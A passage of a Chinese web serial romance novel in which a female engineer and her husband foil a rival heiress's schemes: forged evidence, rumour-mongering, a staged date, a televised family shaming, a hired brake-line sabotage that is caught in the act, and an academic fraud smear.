其实这完全都是叶寒的推断,捕风捉影罢了。
那些所谓的“证据”,也不过是他以前在酒桌上听来的八卦,加上自己的一点臆想拼凑出来的。
陆清璃是什么人?
陆家大小姐,陆氏唯一继承人。
她扫了一眼叶寒递过来的几张打印纸,忍不住笑出了声。
“叶先生,你当我是三岁小孩吗?”
她拿起那几张纸,看也没看直接扔在桌上,“就凭这些,你想让我给你五百万?”
叶寒脸色一白。
“不过……”陆清璃话锋一转,“虽然证据是假的,但你这个人,倒是有点用处。”
“什么意思?”
“顾彦廷那人,唯一的软肋就是江晚絮。”陆清璃身子前倾,故意压低了声音,“曾经爱了你整整五年的前妻。”
陆清璃重新坐直了身体,双臂抱胸,好整以暇地看着叶寒,“就是不知道,叶总愿不愿意了。”
叶寒皱眉,“可是她现在连我的面都不肯见。”
“这就要看你的本事了,”陆清璃扔出一张支票,“这是定金。”
叶寒看着那张支票,咬了咬牙。
“好。”
三天后。
江晚絮刚结束一场长达四小时的技术研讨会,疲惫地揉了揉眉心。
“江总,有一封您的私人信件。”秘书小陈拿着一个淡蓝色的信封走了进来,表情有些古怪,“没有寄件人地址,但看起来……挺精致的。”
江晚絮愣了一下。
这年头,还有人写信?
她接过信封,那上面熟悉的笔迹让她下意识地抖了一下。
信封里,夹着一片干枯的银杏叶。
【晚晚,见字如面。】
【最近还好吗?昨天路过那条银杏大道,突然想起那时候你总是跟在我身后,像个小尾巴。那时候我不懂珍惜,总觉得你烦……现在回想起来,那竟然是我这辈子最安稳的时光。】
【我知道我以前是个混蛋,我不求你原谅,只是最近总是梦见你。梦见你给我煮地面,梦见你在雨里给我送伞……晚晚,如果时光能倒流……】
“呕——”
江晚絮只看了一半,胃里就一阵翻江倒海的恶心。
她将信纸揉成一团,丢进了废纸篓里。
他怎么还有脸提以前?
他所谓的“安稳时光”,是她在大雪天为了给他买胃药跑遍半个城,回来却发现他在陪江芊妤过生日!
他所谓的“煮面”,是她发着高烧在厨房忙活,端出来却被他嫌弃倒进了狗盆!
“江总?您没事吧?”秘书被她的反应吓了一跳。
江晚絮深吸一口气。
“小陈。”
“在。”
“以后再看到这个字迹的信,直接送去碎纸机。”江晚絮抽出湿巾,一根一根地擦拭着刚才碰过
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信纸的手指,“不,直接烧了。别脏了公司的碎纸机。”
“是!”
江晚絮看着窗外繁华的京景,冷笑一声。
叶寒,你以为我是那个只要你勾勾手指就会摇尾乞怜的江晚絮吗?
你也配谈回忆?
你只配烂在泥里!
叶寒的第一封信石沉大海,但这早在陆清璃的预料之中。
这一周,陆清璃开始了自己的表演。
京城名媛圈的“女性力量”慈善晚宴上。
江晚絮本不想来,但作为顾氏现在的技术门面,秦兰特意叮嘱她要多露面,拓展人脉。
她穿着一身简单的黑色礼服,独自坐在角落里喝着气泡水,与周围那些花枝招展的名媛格格不入。
“这里很闷,是吧?”
一道温柔的声音在耳边响起。
江晚絮抬头,看到陆清璃穿着一身干练的白色西装,手里端着一杯红酒,笑容得体,没有半分攻击性。
“陆小姐。”江晚絮礼貌地点了点头。
“别紧张,今晚不谈公事。”陆清璃在她身边坐下,姿态放松,“其实我很早就想认识你了,江晚絮。不是作为陆家的女儿,而是作为一个……同样在男人堆里杀出一条血路的女人。”
江晚絮挑眉:“哦?”
“大家都觉得我是含着金汤匙出生的千金大小姐,要风得风,要雨的雨。”陆清璃苦涩一笑,晃了晃酒杯,“可谁知道呢?在陆家,我不过是个‘赔钱货’罢了。”
“我爸重男轻女到了病态的地步。我努力考第一,努力拿项目,在他眼里,都不如我那个只会**的弟弟放个屁响。”
陆清璃转过头,看着江晚絮,眼神真挚,“我看过你的新闻。你在江家的遭遇……说实话,我很心疼。”
江晚絮握着杯子的手微微一顿。
“我们这样的人,想要往上爬,就得把心挖出来,换成石头。”陆清璃叹了口气,举起酒杯,“敬我们自己,敬每一个不认命的女人。”
第173章 她真的很好
江晚絮看着陆清璃,沉默了片刻,还是举起水杯轻轻碰了一下。
“陆小姐过奖了,我只是运气好。”
“运气也是实力的一种。”陆清璃笑了笑,适时地收住话题,“不打扰你清净了。对了,最近我看了你们‘晚星科技’在做的新能源算法,非常精彩。有机会的话,希望能向你讨教。”
说完,陆清璃转身离开。
江晚絮看着她的背影,眉头微蹙。
太完美了。
无论是表情、语气,还是那个恰到好处的“身世共鸣”,都很完美。
如果是五年前的江晚絮,恐怕此刻已经把对方引为知己了。
即便心里警惕,但不得不承认,陆清璃这招“温水煮青蛙”,确实比直接对抗要高明得多。
没过几天,陆清璃的“合作诚意”就送到了办公桌上。
那是一份关于“智能医疗辅助系统”的小型合作案。
顾氏虽然强大,但在医疗细分领域,陆家确实有着独特的渠道优势。
“江总,这份合同……”项目经理看着条款,眼睛都直了,“陆氏这是在做慈善吗?利润大头全归我们,他们只象征性地拿一点运营费?而且还把核心数据共享给我们?”
会议室里,高管们议论纷纷。
“是啊,这也太有诚意了。”
“陆小姐说是为了支持女性科技创业者,啧啧,格局真大。”
江晚絮翻看着合同,指尖无意识地敲着桌面。
天上不会掉馅饼,只会掉陷阱。
“陆氏想要什么?”江晚絮问。
“他们只要求我们在系统里植入一个小型的陆氏服务接口,用于数据对接。”技术总监解释道,“我看过代码了,就是一个普通的API,没什么风险。”
没什么风险吗?
江晚絮合上了文件夹。
“没有风险才是最大的风险。”
“可是江总,这是一个双赢的机会……”
“签可以。”江晚絮打断了高管的话,拿出一支红笔,在合同末尾狠狠划了几道,“加上三条防御条款。”
“第一,数据接口必须经过我们物理隔绝的服务器中转,严禁直连。”
“第二,如果陆氏在合作期间有任何股权变动或负面舆情,我们有权单方面无条件解约,并要求三倍赔偿。”
“第三……”江晚絮抬起头,字字铿锵,“所有经过该接口的数据,必须进行二次加密,密钥由顾氏独家掌握。如果陆清璃不同意,这合同就当废纸烧了。”
所有人面面相觑。
这也太……霸道了。
“江总,这会不会太不给陆小姐面子了?”
“面子?”江晚絮冷笑,“在商言商。我坐在这个位置上,要是靠给别人面子过日子,顾氏的股价早就跌停了。”
消息传到陆清璃耳朵里时,她正在做SPA。
“三条防御条款?”陆清璃闭着眼,听着助理的汇报,嘴角不仅没有生气,反而扬起一抹欣赏的笑意。
“不愧是顾彦廷看上的女人,够警惕,够狠。”
“那小姐,我们还签吗?”
“签。为什么不签?”陆清璃睁开眼,眼底满是算计,“她越是防备,等到防线崩塌的那一刻,才会摔得越惨。我们要的不是这个项目赚钱,而是……一个入口。”
“而且,戏台已经搭好了,观众也该入场了。”
陆清璃的手段,从来都不只是在明面上。
顾家老宅。
秦兰正戴着老花镜修剪一盆兰花。
虽然她已经接纳了江晚絮,但豪门婆婆的心思,总是敏感多疑的。
“秦伯母,这盆素冠荷鼎养得真好。”
陆清璃提着名贵的补品上门拜访,一脸乖巧温顺。
“清璃来了啊。”秦兰放下剪刀,笑着让人上茶,“你这孩子,来就来,还带什么东西。”
“前几天去拍卖会,看到这株百年老参,想着给您补补身子。”陆清璃坐到秦兰身边,自然地帮她捏着肩膀。
两人闲聊了一会儿家常,话题自然而然地引到了江晚絮身上。
“最近晚絮真是厉害,跟我们陆氏合作那
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个项目,把条款定得死死的。”陆清璃像是开玩笑般说道,“连我都不得不佩服,她这脑子,转得太快了。”
秦兰听着受用,“那是,晚晚这孩子聪明,能帮衬彦廷。”
“是啊,聪明是好事。”陆清璃话锋一转,语气变得有些犹豫,“不过……伯母,有个事儿我不知道当讲不当讲。”
“什么事?”
“我听说……当然也只是听说啊。”陆清璃压低声音,一脸担忧,“晚絮的亲生母亲,曾经得过精神**症?”
秦兰的手猛地一顿,脸上的笑容僵住了。
“你说什么?”
“哎呀,我也是听江家的老佣人提了一嘴。”陆清璃连忙捂嘴,像是说漏了什么,“据说这种病……遗传几率挺高的。特别是平时看着特别聪明、特别偏执的人,一旦受了什么刺激,发病率更高。”
秦兰的脸色瞬间变得很难看。
豪门选媳,最怕的就是这种家族遗传病史。
更何况,江晚絮在江家那种高压环境下长大,性格本来就有些冷清孤僻。
“伯母您别多想,晚絮现在看着挺正常的。”陆清璃赶紧安抚,“我也只是担心,毕竟以后她要是给顾家生了孙子……这基因……”
“而且,我听说最近那个叶寒到处写信骚扰晚絮,我看晚絮的情绪好像不太稳定。”陆清璃叹了口气,“前几天开会,我看到她盯着一封信发呆,手抖得厉害,眼神……有点吓人。”
秦兰没说话,但她的那双手,却攥紧了些。
江晚絮对此一无所知。
她正忙着处理那个棘手的合作案。
陆清璃在合作期间表现得简直无可挑剔。
不仅全盘接受了那三条苛刻的防御条款,还主动让利,甚至在几次技术对接中,亲自带着团队加班加点配合江晚絮的时间。
“江总,陆小姐人真的不错啊。”
连一向警惕的秘书小陈都动摇了,“昨天我们要的数据,她凌晨三点亲自发过来的。而且从来不摆架子,还请我们喝下午茶。”
第174章 你不生气?
江晚絮看着屏幕上的数据,眉头紧锁。
太顺了。
顺得让人心里发毛。
“顾彦廷呢?”江晚絮突然问。
“顾总今天去西郊视察那个物流园项目了,晚上说是有一个重要的商务饭局。”
“知道了。”
江晚絮揉了揉酸痛的脖子。
这时,手机震动了一下。
是陆清璃发来的微信。
【晚絮,今晚有个关于医疗器械准入的闭门交流会,在“云顶餐厅”,很多专家都会来。我知道你不喜欢应酬,但这个会对项目很重要,能不能赏光来坐坐?就一小时。】
江晚絮犹豫了一下。
为了项目,这个险值得冒。
【好,我准时到。】
晚上八点,云顶餐厅。
这是一家实行会员制的顶奢餐厅,坐落在京市最高的地标建筑顶层,可以俯瞰整个城市的夜景。
江晚絮到的时候,并没有看到什么所谓的“专家团”。
只有陆清璃一个人坐在靠窗的位置。
“抱歉,专家们的飞机晚点了。”陆清璃站起来,一脸歉意,“可能要等半小时,晚絮你先坐,饿了吗?先点点东西?”
江晚絮心中升起一丝疑虑,但既然来了,也不好转身就走。
“没关系,喝杯水就好。”
她坐下的时候,下意识地扫视了一圈餐厅。
在餐厅的另一端,那个最私密、风景最好的VIP卡座上。
坐着两个人。
一个是顾彦廷。
而坐在他对面的,竟然是陆清璃的父亲,陆岳嵩。
但这不重要。
重要的是,陆岳嵩身边还坐着一个年轻女人,背影极其眼熟,穿着一件白色的露背长裙,正侧头对着顾彦廷笑,手里还拿着红酒杯,姿态亲昵地想要给顾彦廷倒酒。
从江晚絮这个角度看过去,那个女人的侧脸,竟然和陆清璃有七分像!
而此刻,坐在江晚絮对面的陆清璃,却是一脸惊讶地捂住了嘴。
“哎呀?那不是彦廷哥吗?”
陆清璃的声音恰到好处地响起,带着一丝尴尬和慌乱,“他怎么会和我堂妹在一起?那个……晚絮,你别误会啊,我堂妹刚回国,可能是……可能是两家长辈安排的相亲?不对不对,你们都结婚了……”
越描越黑。
江晚絮盯着那个方向。
顾彦廷没有拒绝那个女人的靠近。
虽然他脸上没什么表情,但他没有推开!
更要命的是,江晚絮清楚地记得,出门前顾彦廷跟她说的是:“今晚是纯商务局,全是糙老爷们,你就别去了,无聊。”
全是糙老爷们?
那个穿着露背装、笑得花枝招展的女人也是糙老爷们?
“晚絮……”陆清璃伸手想要去拉江晚絮的手,“你脸色好白,是不是不舒服?”
江晚絮抽回手。
腿,又开始隐隐作痛。
“这就是你说的闭门交流会?”
江晚絮转回头,目光冰冷,“所谓的专家,就是让我来看这一出戏?”
陆清璃一脸无辜,眼神里却藏着笑意:“晚絮你说什么呢?我也是刚看到啊。要不……我们过去打个招呼?”
江晚絮深吸一口气,指甲深深掐进掌心,利用痛觉让自己保持清醒。
“不必了。”
江晚絮拿起包,站起身,背挺得笔直,像一只骄傲的天鹅。
“陆小姐,今天的戏不错。但下次记得,这种狗血剧情,对我没用。”
说完,她转身就走,步伐极快,却在转身的瞬间,眼眶微微红了。
顾彦廷。
你最好给我一个合理的解释。
而此时,远处的餐桌上。
顾彦廷烦躁地避开了那个女人凑过来的酒杯,冷声道:“陆董,这就是你说的‘专业翻译’?如果陆氏只有这种只会往男人身上贴的货色,那并购案免谈。”
陆岳嵩一脸尴尬:“顾总,宁宁不懂事,我……”
顾彦廷刚想发火,眼角的余光突然瞥见门口闪过一道熟悉的身影。
那是……晚晚?
他心里“咯噔”一下,立刻站起身。
“顾总?”
陆清璃的堂妹立刻伸手去拉顾彦廷的衣袖。
“滚开!”
顾彦廷一把甩开那个女
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人追了出去。
电梯门即将合上的那一刹那,他伸手挡在了中间。
金属门感应回弹,发出一声刺耳的警告音。
顾彦廷冲了进来。
他向来是个泰山崩于前而面不改色的主,哪怕是几百亿的单子被人截胡,他连眉毛都不会动一下。
可此刻,他却有些慌乱。
“晚晚,不是你想的那样!”
顾彦廷甚至顾不上电梯里还有其人,一步跨到她面前,急切地解释道,“那个女人是陆岳嵩硬塞过来的,我没碰她,连话都没跟她说两句!我本来想走的,但我怕陆家那个老狐狸在酒里动手脚,我想看看他们到底要玩什么花样……”
他语无伦次。
他很怕。
怕江晚絮误会,怕她不听解释,转身就走,然后躲在无人的角落里偷偷哭肿眼睛。
曾经,叶寒只要和别的女人有一点风吹草动,江晚絮就会崩溃。
因为她没有安全感。
因为她觉得自己不够好,配不上叶寒。
“我知道。”
江晚絮开口了。
顾彦廷愣了一下,像是没听清,“你说什么?”
江晚絮抬起头,很平静。
她从包里掏出一张湿巾,踮起脚尖,轻轻擦去顾彦廷额头上的汗珠。
“我说,我知道。”
江晚絮把脏了的湿巾扔进垃圾桶,语气淡淡的,“陆清璃的演技确实不错,如果是那个二十二岁、自卑敏感的江晚絮,大概早就哭着跑回家,把门反锁,然后等着你去砸门解释了。”
她顿了顿,轻笑,“但很可惜,现在的江晚絮,脑子还在。”
“陆清璃特意约我来,又特意让我看到那一幕,那个女人的侧脸甚至还要刻意模仿她。这么低级的挑拨离间,我要是信了,这几年的总工程师不就白干了?”
顾彦廷怔怔地看着她。
喉咙发紧。
他想过她会生气,想过她会冷战,甚至做好了跪搓衣板的准备。
但他唯独没想过,她会这么……信任他。
这种被无条件信任的感觉,像是一股暖流,瞬间冲散了他心底的恐惧。
第175章 道德**
“你不生气?”顾彦廷小心翼翼地问。
“生气啊。”江晚絮挑眉,“生气你居然让那个满身劣质香水味的女人离你那么近,顾总,回家记得洗三遍澡,不然别上床。”
顾彦廷看着她,目光微闪,然后伸手将她拥进怀里。
“晚晚……”
他在她耳边低喃,“谢谢。”
谢谢你愿意信我。
谢谢你,终于肯把那个满身是刺的自己,收了起来。
电梯门再次缓缓合上。
透过逐渐变窄的缝隙,陆清璃站在餐厅门口,看着电梯里紧紧相拥的两人,咬紧了下唇。
“江晚絮……”
陆清璃咬牙切齿,“咱们走着瞧。”
周五晚八点,黄金档情感调解节目《亲情保卫战》。
直播间热度爆表,几千万人在线围观。
演播厅的沙发上,坐着一个头发半白的男人。
江父。
他佝偻着背,老泪纵横,手里颤颤巍巍地拿着一张江晚絮小时候的照片。
“我是个罪人啊……”
江父对着镜头,哭得那叫一个情真意切,“以前是我忙着做生意,忽略了晚晚。但我也是为了这个家啊!我不求她养我,我只求能见她一面,听她叫我一声爸……”
“可是……可是她让人把我赶出来,还说……说没我这个爸爸。”
主持人是个为了热度没底线的,立马义愤填膺地对着镜头喊话:
“各位观众,这就是我们口中的‘天才科学家’江晚絮小姐!拿着国家的科研基金,住着豪宅,却对自己的亲生父亲不管不顾!这不仅是道德的沦丧,更是人性的扭曲!”
弹幕瞬间炸了。
【**!这也太白眼狼了吧?】
【连亲爹都不认?这种人人品绝对有问题,建议严查晚星科技!】
【江晚絮滚出科技圈!】
演播室后台,陆清璃环抱双臂,冷冷开口。
“导演,气氛到了,连线江晚絮!”
此时,晚星科技实验室。
江晚絮正戴着护目镜,盯着显微镜下的数据。
手机突然响了。
是一个陌生的号码。
她皱眉,按下接听键,顺手开了免提,继续手里的操作。
“喂?”
“江晚絮小姐吗?这里是《亲情保卫战》直播现场!”主持人咄咄逼人,“您的父亲江先生正在节目现场,您对他不闻不问,请问您有什么解释吗?”
全场寂静。
所有人都等着江晚絮的回应。
然而,听筒里只传来翻动纸张的声音。
“哦。”
江晚絮的声音很平静,“哪位父亲?是那个为了拿到顾家的投资,在我高烧39度时逼我去陪酒的父亲?还是那个在我被诬陷抄袭时,为了保全江芊妤,亲手把我的手稿烧毁的父亲?”
直播间瞬间安静了几秒。
江父脸色一僵,慌忙对着话筒喊,“晚晚!你……你在胡说什么!爸爸那是为了你好……”
“为了我好?”
江晚絮轻笑一声,手里滴定管的液体稳稳落下,“江先生,您所谓的‘好’,是指在我断腿住院的时候,您停了我的医药费,把钱拿去给江芊妤买限量款包包吗?”
“还是指,您为了讨好叶家,逼我给叶寒下跪道歉,只因为我没能帮江芊妤挡酒?”
“江先生,”江晚絮的声音依旧平稳,“您今天穿的那件中山装,如果不我没记错,是五年前我省吃俭用打工三个月给你买的生日礼物。当时您嫌弃地把它扔在地上,踩了两脚,说它是地摊货,配不上您的身份。”
“怎么?现在为了卖惨,又把它捡回来了?”
江父的脸涨成了猪肝色,嘴唇哆嗦着:“你……你这个不孝女……”
“如果你所谓的孝顺,是被你们吸干最后一滴血,那抱歉,我不奉陪。”
江晚絮顿了顿,语气变得凌厉,“另外,告诉节目组,未经过我允许公开我的私人号码并进行直播连线,我的律师函会在十分钟后发到贵台。至于江先生,您既然那么喜欢演戏,不如去监狱里给狱友们演个够。毕竟,
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您****的案子,还没有完全结案呢。”
电话挂断。
演播厅里一片安静。
主持人尴尬地举着话筒,不知所措。
江父瘫在沙发上,面色惨白。
弹幕的风向,瞬间逆转。
【**!这瓜反转得太快了吧?】
【逼发烧的女儿陪酒?烧手稿?这是人干的事儿?】
【那件衣服我刚才就觉得眼熟,原来是被踩过的……天呐,江晚絮以前到底过的是什么日子啊!】
【心疼小姐姐!这哪里是爸爸,这是吸血鬼吧!】
陆清璃看着满屏都在骂“节目组无良”、“江父渣爹”的弹幕,气得狠狠摔了手里的咖啡杯。
**的反噬,比陆清璃想象的还要猛烈。
节目组被冲烂了官博,不得不紧急停播整改。
陆清璃是个聪明人,也是个狠人。
眼看火要烧到自己身上,她第一时间选择了断尾求生。
当晚十点。
陆氏集团官方微博发布声明:
【对于《亲情保卫战》节目中发生的闹剧,陆清璃女士深表遗憾。作为赞助商,我们本意是希望能帮助修复家庭关系,却没想到**先生的一面之词蒙蔽。陆清璃女士已向江晚絮小姐私下致歉,并决定撤回对该节目的所有赞助。】
一招“被蒙蔽”,就把自己摘得干干净净。
典型的白莲花手段。
可十分钟后,江晚絮发了一条微博。
只有简简单单的一句话:
【血缘不是勒索的执照。我的家人,我自己会选择。】
配图是一张在老宅花园拍的照片。
照片里,阳光正好。
外婆坐在藤椅上笑得慈祥,苏洛敏正端着一盘切好的水果走过来,而顾彦廷,正背对着镜头,蹲在地上给江晚絮系鞋带。
画面温馨得让人想哭。
这条微博,彻底宣告了江晚絮与江家的**,也狠狠打了陆清璃的脸。
你想用“不孝”来**我?
抱歉,我根本不在乎那所谓的血缘。
第176章 她在骗我!
陆清璃并没有就此罢手。
既然软的不行,**也不行,那就来硬的。
深夜,一家破旧的台球厅。
江家老二江明宇,正满脸戾气地打着台球。
他刚出狱不久,没了江家的庇护,又没有一技之长,只能混迹在这种地方。
“江二少,好久不见啊。”
陆清璃戴着口罩墨镜走了进来。
江明宇回头,看到是她,没好气地吐了口烟圈:“陆大小姐?怎么,来看我笑话?”
“哪能啊。”陆清璃嫌弃地挥了挥面前的烟雾,拿出一张照片扔在台球桌上,“我只是替你不值。”
照片上,是江晚絮开着那辆限量版保时捷,风光无限的样子。
“你看,你妹妹现在多风光。”陆清璃的声音充满了蛊惑,“她把你爸送上了热搜,把你大哥搞垮了,害得你像只老鼠一样躲在这里。而她呢?住豪宅,开豪车,当着人上人。”
江明宇的眼睛瞬间红了。
以前在家里,江晚絮就是个出气筒。他心情不好了就踹两脚,没钱了就抢她的生活费。
凭什么现在她能爬到他头上拉屎?
“你想让**什么?”江明宇把球杆狠狠砸在桌上。
“别这么暴力嘛。”陆清璃笑了笑,从包里拿出一个信封,里面厚厚一沓钱,“我知道你手头紧。我也没别的意思,就是想……让她吃点苦头。”
她凑近江明宇,压低了声音:“只是恶作剧而已。比如说,让她那辆漂亮的车,出点小故障?只要她出了丑,受了惊吓,这口气你不就出了吗?”
江明宇看着那沓钱,又看了看照片上的江晚絮。
“行。”
陆清璃满意地走了。
她当然知道江明宇是个没脑子的莽夫。
她要的,就是他的没脑。
只要江明宇动了手,江晚絮出了意外,那是最好的。
就算没出意外,江明宇被抓了,那也是他个人的报复行为,跟她陆大小姐有什么关系?
三天后。
晚星科技地下停车场。
这里灯光昏暗,监控有时候也不一定能拍清楚。
江明宇穿着一身维修工的衣服,鬼鬼祟祟地摸到了江晚絮的那辆保时捷旁边。
他嘴里叼着个手电筒,手里拿着一把老虎钳,钻进了车底。
“臭**……让你狂……”
江明宇一边骂骂咧咧,一边寻找着刹车线,“老子让你尝尝飞出去的滋味!”
“咔嚓。”
钳子夹住了刹车线。
只要稍微一用力,这条线就会断。
“别动。”
突然,一道冰冷的声音在他耳边炸响。
江明宇吓得一激灵,老虎钳差点掉下来。
他刚想爬出来,一只穿着黑色军靴的脚,狠狠踩在了他的手背上。
“啊——!”
江明宇发出一声惨叫。
几个身穿黑色西装的保镖,将他从车底拖了出来按在地上。
“看来,陆小姐的眼光也不怎么样,找了这么个蠢货。”
林舟站在一旁,手里拿着手机正在录像,语气嘲讽。
江明宇拼命挣扎:“放开我!我是江晚絮的二哥!我是她哥!你们敢动我?”
“二哥?”
随着高跟鞋敲击地面的清脆声响,江晚絮走了过来。
“江明宇,你大概忘了,我们早就已经断绝关系了。”
江晚絮蹲下身,用手机的手电筒照着江明宇的脸,“剪刹车线?你想杀我?”
“我……我没有!我就是想吓唬吓唬你!”江明宇看着嚣张,其实根本就是个欺软怕硬的主儿。
“是陆清璃!是陆清璃那个女人让**的!她给了我钱!她说只是恶作剧!”
江晚絮冷笑。
她想起小时候,江明宇因为在学校打架被记过,回家后就把气撒在她身上。
他把她锁在黑暗的地下室里整整三天,不给吃不给喝。
那是她离死亡最近的一次。
那时候的江明宇,也是这样一副嘴脸:“我就是吓唬吓唬她,谁知道她那么不经饿?”
“吓唬?”
江晚絮站起身,眼神瞬间变得冰冷,“这已经是**未遂了。林舟,报警。把监控录像和他的作案工具,还有刚才的录音,全部交给警方。”
“既然你那么喜欢监狱,那我就帮帮
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你。”
江明宇疯狂地吼叫起来:“江晚絮,你不得好死!我是你哥啊!你竟然真的要送我去坐牢?!”
“带走。”
顾彦廷从阴影里走出来,揽住了江晚絮的肩膀。
“别让他脏了你的眼。”
一小时后,江明宇为了减刑,在审讯室里招供了。
“是她给我的钱,是她暗示我这么干的!聊天记录我有,就在手机里!”
警察拿过他的手机,调出了他和陆清璃的聊天记录。
然而,看到内容的瞬间,江明宇傻眼了。
屏幕上,陆清璃的每一句话,都滴水不漏。
江明宇:【我看那个死丫头不顺眼,想整整她。】
陆清璃:【明宇哥,你别冲动。大家毕竟是一家人,有什么话好好说。】
江明宇:【我手头紧,借我点钱。】
陆清璃:【转账50000元。这些钱你拿去生活,千万别做傻事啊。晚絮现在也不容易,你要体谅她。】
江明宇:【我想让她那车出点故障,吓死她!】
陆清璃:【啊?这样不好吧?万一受伤了怎么办?你可千万别乱来啊。我当你是在开玩笑呢。】
每一句都在劝阻。
每一句都在“好心”。
而在江明宇的记忆里,那些充满暗示的话语,那些面对面的挑拨,根本没有留下任何证据。
甚至连那5万块钱,都被定义成了“出于同情对刑满释放人员的资助”。
“这……这不是真的!她当时不是这么说的!”江明宇崩溃地抓着头发,“她在骗我!这**阴我!”
与此同时。
陆氏集团法务部迅速发布了一则律师声明:
【陆清璃女士出于善意,资助江明宇先生生活费,并多次在聊天中劝阻其不要对江晚絮小姐进行报复。对于江明宇先生的犯罪行为,陆女士深表痛心,并愿意配合警方调查。同时,对于江明宇先生的反咬一口,陆女士保留追究其诽谤的权利。】
同样的招数,同样的话术。
陆清璃又把自己给摘干净了。
不仅如此,她还顺便给自己立了个“圣母”人设。
第177章 同样的招数
江明宇判决书下来那天,是个阴雨天。
**十五年。
江明宇在法庭上哭得鼻涕一把泪一把,大喊着“陆清璃你不得好死”。
但他的人生,已经注定了。
一周后,探监室。
江家老三,江明哲,从国外赶了回来。
他是个高知分子,也是江家唯一一个看起来“正常”点的人。
隔着厚厚的玻璃,江明哲看着里面剃了光头、眼神呆滞的二哥。
“二哥,你在里面好好改造。”
江明哲叹了口气,劝道,“家里的房子被**查封了,爸也不见了。大哥……精神有点失常。我打算移民美国了,以后都不回来了。”
“你说什么?!”
江明宇猛地扑到玻璃上,青筋暴起,“你想跑?我是为了谁才变成这样的?啊?江明哲你这个缩头乌龟!你是来看我笑话的吧?滚!都给我滚!”
他咆哮着,站起来疯狂地捶打着玻璃。
狱警冲上来,将他死死按住拖走。
江明哲看着被拖走的二哥,眼神里没有任何波澜。
他走出监狱大门时,外面的雨停了。
他拿出手机,犹豫了很久,给江晚絮发了一条短信。
只有三个字。
【对不起。】
发送成功。
然后,那个红色的感叹号亮了起来。
【消息已发出,但被对方拒收了。】
江明哲看着那个红色的感叹号,自嘲地笑了笑。
是啊。
迟来的深情比草贱。
迟来的道歉,又算个什么东西呢?
他收起手机,拦了一辆出租车,直奔机场。
江家,彻底散了。
而在城市的另一端,江晚絮站在落地窗前,看着脚下车水马龙的城市。
“在看什么?”
顾彦廷从身后抱住她,下巴抵在她的颈窝处。
“看风景。”江晚絮转过身,双手环住他的脖子,“江明宇判了十五年。”
“太轻了。”顾彦廷冷哼一声,“要是按我的手段,他这就不是坐牢那么简单了。”
“够了。”
江晚絮笑了笑,“这比杀了他们更解气。至于陆清璃……”
她的眼神一冷,“这笔账,我们慢慢算。”
“好,慢慢算。”
顾彦廷吻了吻她的额头,“老婆,既然闲杂人等都清理得差不多了,是不是该考虑一下我们的正事了?”
“什么正事?”
“你答应过外婆的,”顾彦廷的手不规矩地在她腰间游走,“给她生个重孙子玩玩。”
“顾彦廷!这是办公室!”
“没事,隔音好。”
“唔……”
但……美好的时光总是短暂的。
当天晚上,就冒出了一条关于江晚絮的热搜。
江晚絮嘴里叼着半块苹果,盯着电脑屏幕,眉头紧皱。
屏幕上,一个金发碧眼的外国老头正对着镜头侃侃而谈,标题几乎占了半个屏幕——
**【知名学者威尔逊指控晚星科技总工江晚絮论文数据**!学术界地震!】**
这老头江晚絮认识,叫威尔逊,以前在国外的学术会议上见过两次,是个典型的“学术混子”,靠着早年的名气到处骗经费,没想到现在手伸到国内来了。
“顾总,”江晚絮转过椅子,看着正在沙发上帮她削第二个苹果的顾彦廷,“你说现在的反派是不是都共用一个脑子?或者他们的剧本是复印的?”
顾彦廷手中的水果刀顿了一下,削出的苹果皮连绵不断,薄如蝉翼。
他抬起眼皮,“怎么说?”
“先是诬陷我****,然后是商业间谍,接着是剪刹车线。”
“而且……学术**这事儿都涌了几次了,玩不腻吗?”
江晚絮咔嚓咬了一口苹果,含糊不清地吐槽,“当年江芊妤也是说我偷了她的实验数据。这陆清璃是不是没看过别的宫斗剧?这招数都用烂了。”
“还有这些网友。”江晚絮指了指屏幕上疯狂滚动的弹幕,“也是没脑子,每次都能被当枪使。上次骂我不孝,这次骂我学术败类,下次是不
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是该骂我外星人入侵地球了?”
顾彦廷把削好的苹果切成小块,插上牙签,端到她面前。
“先吃。”他命令道。
江晚絮乖乖张嘴吃了一块,腮帮子鼓鼓的,像只松鼠。
顾彦廷抽了一张纸巾,替她擦了擦嘴角溢出的果汁,语气戏谑:“你自己以前不也没脑子?”
江晚絮一噎,差点被苹果呛死。
“顾彦廷!”
“难道不是?”顾彦廷挑眉,身子微微前倾,“当初是谁,因为叶寒一句‘不喜欢只会做实验的书呆子’,就真的要把所有的研究成果署上别人的名字?又是谁,大冬天的为了给他熬粥,手都冻裂了,结果被他连人带锅扔出厨房?”
江晚絮觉得,嘴里的苹果突然就不甜了。
当初为了讨好叶寒,她恨不得把心掏出来。
因为叶寒不喜欢她搞科研,她就偷偷做,做出了成果也不敢声张,甚至在江芊妤哭诉需要一篇论文申请奖项时,她傻乎乎地把自己的核心数据拱手相让。
结果呢?
江芊妤拿了奖,成了“天才少女”。
而她,成了只会依附男人的废物,成了江家人口中的“米虫”。
“那时候是脑子里进了水。”江晚絮垂下眼帘,声音低了几分,“现在水倒干净了。”
顾彦廷看着她突然黯淡下去的神色,心口像是被针扎了一下。
“以后谁再敢往你脑子里灌水,我就把他的头拧下来当球踢。”
江晚絮“扑哧”一声笑了,刚才那点阴霾一扫而空。
“行了,别贫了。”她恢复了干练的模样,把剩下的苹果推到一边,“陆清璃既然想玩,那我就陪她玩把大的。”
“这威尔逊我查了一下,最近在国外的几个基金项目都被停了,正缺钱呢。”
“我已经让苏洛敏帮忙去查威尔逊的资金往来了。”江晚絮手指在键盘上飞快敲击,“我要让他知道,我不是软柿子。”
顾彦廷看着她认真的侧脸。
她工作的时候,整个人都在发光。
第178章 来日方长
“资金往来那种东西,太慢。”
顾彦廷站起身,理了理袖口,“既然是陆清璃那个疯女人搞的鬼,肯定会有更有趣的东西。”
江晚絮回头:“你要干嘛?”
顾彦廷勾唇一笑,“我有我的办法。你只管准备好你的原始数据,明天去那个什么破论坛打脸就行。剩下的,老公替你摆平。”
顾彦廷俯身,在她唇上重重印下一吻,“等把你周围这些苍蝇都拍死,我们就去度蜜月。”
当晚,顾氏集团顶层。
林舟战战兢兢地站在办公桌前,大气都不敢出。
顾彦廷手里把玩着一个黑色的U盘,脸色阴沉。
“陆清璃最近胆子是越来越肥了。
“顾总,情报网那边已经截获了陆清璃和威尔逊的加密通讯记录。”林舟擦了擦额头的冷汗,“这老外也是贪心,陆清璃给了他五百万美金,他还嫌不够,又要了两百万。”
“录音呢?”
“在U盘里。”林舟赶紧说道,“除了转账记录,还有一段通话录音。陆清璃亲口说的,要‘搞臭江晚絮的名声,让她在学术界混不下去’。”
